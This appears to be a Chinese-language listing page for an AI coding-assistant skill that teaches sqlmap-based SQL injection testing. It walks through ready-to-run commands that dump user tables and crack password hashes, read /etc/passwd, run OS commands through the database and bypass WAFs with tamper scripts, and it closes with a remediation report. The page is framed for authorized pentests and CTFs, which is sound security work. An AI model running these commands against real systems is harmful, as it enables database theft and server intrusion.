关于 exploiting-sql-injection-with-sqlmap
面向授权 Web 应用安全评估的 sqlmap 使用技能,讲解如何检测疑似 SQL 注入、枚举数据库、验证影响并整理报告。
主要功能
- 01测试疑似注入点
- 02枚举数据库结构
- 03提取指定表数据
- 04评估数据库权限与文件访问
- 05记录发现并清理痕迹
适用场景
- 01验证手动或扫描器发现的 SQL 注入
- 02在授权测试中评估注入影响
- 03在 CTF 中练习 SQL 注入技术
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-sql-injection-with-sqlmap安装后在 Claude Code 中输入/exploiting-sql-injection-with-sqlmap确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
使用 sqlmap 利用 SQL 注入
何时使用
- 在获得授权的 Web 应用渗透测试项目中
- 当手动测试发现参数、请求头或 Cookie 中可能存在 SQL 注入点时
- 用于验证来自 Burp Suite 或 OWASP ZAP 等自动化扫描器的 SQL 注入发现
- 当你需要通过从后端数据库提取数据来证明 SQL 注入的影响时
- 在涉及 SQL 注入利用的 CTF 挑战中
前置条件
- 授权:针对目标的书面渗透测试协议(测试授权范围)
- sqlmap:在 Kali Linux 上通过
pip install sqlmap或apt install sqlmap安装 - Python 3.6+:sqlmap 所需的运行时
- Burp Suite(可选):用于捕获和重放 HTTP 请求
- 目标访问权限:与目标 Web 应用的网络连接
- 带代理的浏览器:使用 Firefox 配合 FoxyProxy 拦截请求
工作流
步骤 1:识别潜在的注入点
手动浏览应用,识别与数据库交互的参数。使用 Burp Suite 捕获请求。
# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1
# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"
步骤 2:运行 sqlmap 基本检测扫描
针对可疑注入点启动 sqlmap,以确认漏洞并识别数据库类型。
# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent
# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
--data="username=admin&password=test" \
-p "username" --batch --random-agent
# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
--cookie="session=abc123; user_id=5" \
-p "user_id" --batch --random-agent
步骤 3:枚举数据库结构
确认注入后,枚举数据库、表和列。
# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db --tables --batch --random-agent
# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --columns --batch --random-agent
步骤 4:从目标表提取数据
导出敏感表的内容以证明影响。
# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password,email" \
--dump --batch --random-agent
# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump --start=1 --stop=10 \
--batch --random-agent
# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password" \
--dump --batch --passwords --random-agent
步骤 5:测试高级利用向量
通过测试操作系统级访问和文件操作来评估完整影响。
# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
--current-user --current-db --is-dba --batch --random-agent
# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
--file-read="/etc/passwd" --batch --random-agent
# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
--os-cmd="whoami" --batch --random-agent
步骤 6:使用 tamper 脚本绕过 WAF/过滤器
当 Web 应用防火墙或输入过滤器拦截基本 payload 时,使用 tamper 脚本。
# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="space2comment,between,randomcase" \
--batch --random-agent
# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="modsecurityversioned,modsecurityzeroversioned" \
--batch --random-agent
# List all available tamper scripts
sqlmap --list-tampers
步骤 7:生成报告并清理
记录发现并清理任何痕迹。
# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/
# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump \
--output-dir="/tmp/pentest-results" \
--batch --random-agent
# Clean sqlmap session data after engagement
sqlmap --purge
关键概念
| 概念 | 描述 |
|---|---|
| 联合查询注入 | 使用 UNION SELECT 将攻击者查询结果附加到原始查询输出中 |
| 盲注布尔 SQLi | 通过观察应用的真/假响应逐位推断数据 |
| 盲注时间 SQLi | 使用数据库睡眠函数(例如 SLEEP(5))根据响应延迟推断数据 |
| 报错注入 | 通过 HTTP 响应中返回的详细数据库错误消息提取数据 |
| 堆叠查询 | 执行由分号分隔的多条 SQL 语句,用于 INSERT/UPDATE/DELETE 操作 |
| 带外 SQLi | 通过数据库服务器发起的 DNS 或 HTTP 请求外泄数据 |
| Tamper 脚本 | 修改 payload 以绕过 WAF 和输入过滤器的 sqlmap 插件 |
| 二阶 SQLi | 注入的 payload 被存储,并在稍后不同的查询上下文中执行 |
工具与系统
| 工具 | 用途 |
|---|---|
| sqlmap | 自动化 SQL 注入检测与利用框架 |
| Burp Suite Professional | 用于拦截、修改和重放请求的 HTTP 代理 |
| OWASP ZAP | Burp 的免费替代品,用于 Web 应用扫描和代理 |
| Havij | 带 GUI 的自动化 SQL 注入工具(Windows) |
| jSQL Injection | 基于 Java 的 GUI 工具,用于 SQL 注入测试 |
| DBeaver/DataGrip | 用于验证提取数据结构数据库客户端 |
常见场景
场景 1:电商产品页面 SQLi
产品详情页直接在 SQL 查询中使用 id 参数。使用 sqlmap 提取包含支付信息在内的完整客户数据库,以证明严重的业务影响。
场景 2:登录表单绕过
登录表单将用户输入拼接到身份验证查询中。利用该漏洞绕过身份验证并枚举数据库中存储的所有用户凭据。
场景 3:带有 WAF 保护的搜索功能
搜索功能存在 SQL 注入漏洞,但受到 WAF 保护。使用 space2comment 和 between 等篡改脚本对载荷进行编码,并绕过过滤规则。
场景 4:基于 Cookie 的盲 SQL 注入
会话 Cookie 值会在服务器端用于数据库查询。使用基于时间的盲注技术逐个字符提取数据。
输出格式
## SQL Injection Finding
**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection
### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No
### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql
### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at
### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns
评论
支持 Markdown